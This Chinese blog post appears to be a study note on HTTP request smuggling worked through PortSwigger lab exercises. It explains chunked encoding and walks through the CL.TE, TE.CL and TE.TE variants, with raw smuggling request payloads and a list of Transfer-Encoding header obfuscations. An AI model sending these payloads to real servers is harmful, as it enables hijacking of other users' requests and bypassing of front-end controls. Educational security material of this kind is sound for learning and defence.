• 我理解的HTTP请求走私(HTTP Request Smuggling)


    原理

    HTTP 请求的请求体有2种判定方式

    • 利用Content-Length字段来判定请求体的内容长度
    • 利用Transfer-Encoding字段来判定请求体的结束位置

    Content-Length

    正常post请求,会带上请求体(body),请求体有多长,Content-Length的值就是多少
    

    Transfer-Encoding

    Transfer-Encoding就是分块传输的标志,它不靠Content-Length来告诉web服务器请求体有多长,而是靠0这个字符来代表分块结束,之后还要换行2次(重点!!!)
    
    • 分块传输的格式
    POST / HTTP/1.1
    Host: acc71f601f1571b68080899c008a0074.web-security-academy.net
    Content-Length: 5
    Transfer-Encoding: chunked
    
    3
    aaa
    5
    aa
    a
    0
    
    

    上面这行代表着分了3段,第一段是3个a,第二段是2个a和一个 和一个 再1个a,第三段是空
    aaa上面的3是长度,表示第一段有3个字节,同理第二段加上换号就是5个字节,最后一段为空就0个字节,但最后有2个换行表示结束
    再注意,长度是以16进制表示,即如下下面字节长度为27,则长度为1b

    类型

    请求走私攻击包括将内容长度头和传输编码报头进入单个HTTP请求并对这些请求进行操作,以便前端服务器和后端服务器处理请求的方式不同。具体的方式取决于这两个服务器的行为:

    • CL.TE:前端服务器使用内容长度头和后端服务器使用传输编码头球。
    • TE.CL:前端服务器使用传输编码头和后端服务器使用内容长度头球。
    • TE.TE:前端和后端服务器都支持传输编码头,但其中一台服务器可以通过某种方式混淆报头,从而避免对其进行处理。

    实际操作

    //真实的数据包是这样的
    POST / HTTP/1.1
    Host: acc71f601f1571b68080899c008a0074.web-security-academy.net
    Content-Length: 3
    Transfer-Encoding: chunked
    
    1
    
    G
    
    0
    
    
    

    CL.TE

    POST / HTTP/1.1
    Host: your-lab-id.web-security-academy.net
    Connection: keep-alive
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 6
    Transfer-Encoding: chunked
    
    0
    
    G
    

    因为是CL.TE(前端认定长度CL,后端认定分块TE)
    前端看到长度是6,就读取6个字节,0 G,将数据包全部发到后端
    后端认定是分块,读到0 就结束了,后端服务器的缓冲区里还留下了一个G,这个G就会留在缓冲区里(通常10s后会过期)和下一个请求拼接到一起

    TE.CL

    POST / HTTP/1.1
    Host: your-lab-id.web-security-academy.net
    Content-Type: application/x-www-form-urlencoded
    Content-length: 4
    Transfer-Encoding: chunked
    
    5c
    GPOST / HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 10
    
    x=1
    0
    

    因为是TE.CL(前端认定是分块TE,后端认定长度CL)
    5c是十六进制的数据,转为十进制为92,就是5c下面的数据包的长度
    前端认为这是一个TE数据包,第一个数据块的长度是5c(92),遇到0结束
    所以会将整个数据包都发送给后端服务器处理
    后端服务器认定CL,CL的长度是4,所以只截取到5c
    5c明明是两个字符为什么长度是4? 因为还有一个你看不到的
    而下面的GPOST...会被后端认为是另一个http数据包

    TE.TE

    可能有无数种混淆Transfer-Encoding标头的方法。例如:

    Transfer-Encoding: xchunked
    
    Transfer-Encoding : chunked
    
    Transfer-Encoding: chunked
    Transfer-Encoding: x
    
    Transfer-Encoding:[tab]chunked
    
    [space]Transfer-Encoding: chunked
    
    X: X[
    ]Transfer-Encoding: chunked
    
    Transfer-Encoding
    : chunked
    
    Host: your-lab-id.web-security-academy.net
    Content-Type: application/x-www-form-urlencoded
    Content-length: 4
    Transfer-Encoding: chunked
    Transfer-encoding: cow
    
    5c
    GPOST / HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 15
    
    x=1
    0
    

    前端看到
    Transfer-Encoding:chunked
    Transfer-encoding:cow
    认为这还是TE型的包,
    但是后端服务器认为这不对劲,应该按照CL格式来看

    参考:

    https://www.cnblogs.com/linghu-java/p/11193886.html
    https://www.jianshu.com/p/6173b56f15e0
    https://www.cnblogs.com/sijidou/p/13121343.html

  • 相关阅读:
    cmd 一键获取 所有连接过的wifi 密码
    MYSQL注入语句
    Web安全篇之SQL注入攻击
    Kali Linux 不能联网上网 解决方法
    php杂项
    laravel下的数据序列化
    填充数据
    css
    array
    GD库常用函数
  • 原文地址:https://www.cnblogs.com/mrhonest/p/13566091.html
Copyright © 2020-2023  润新知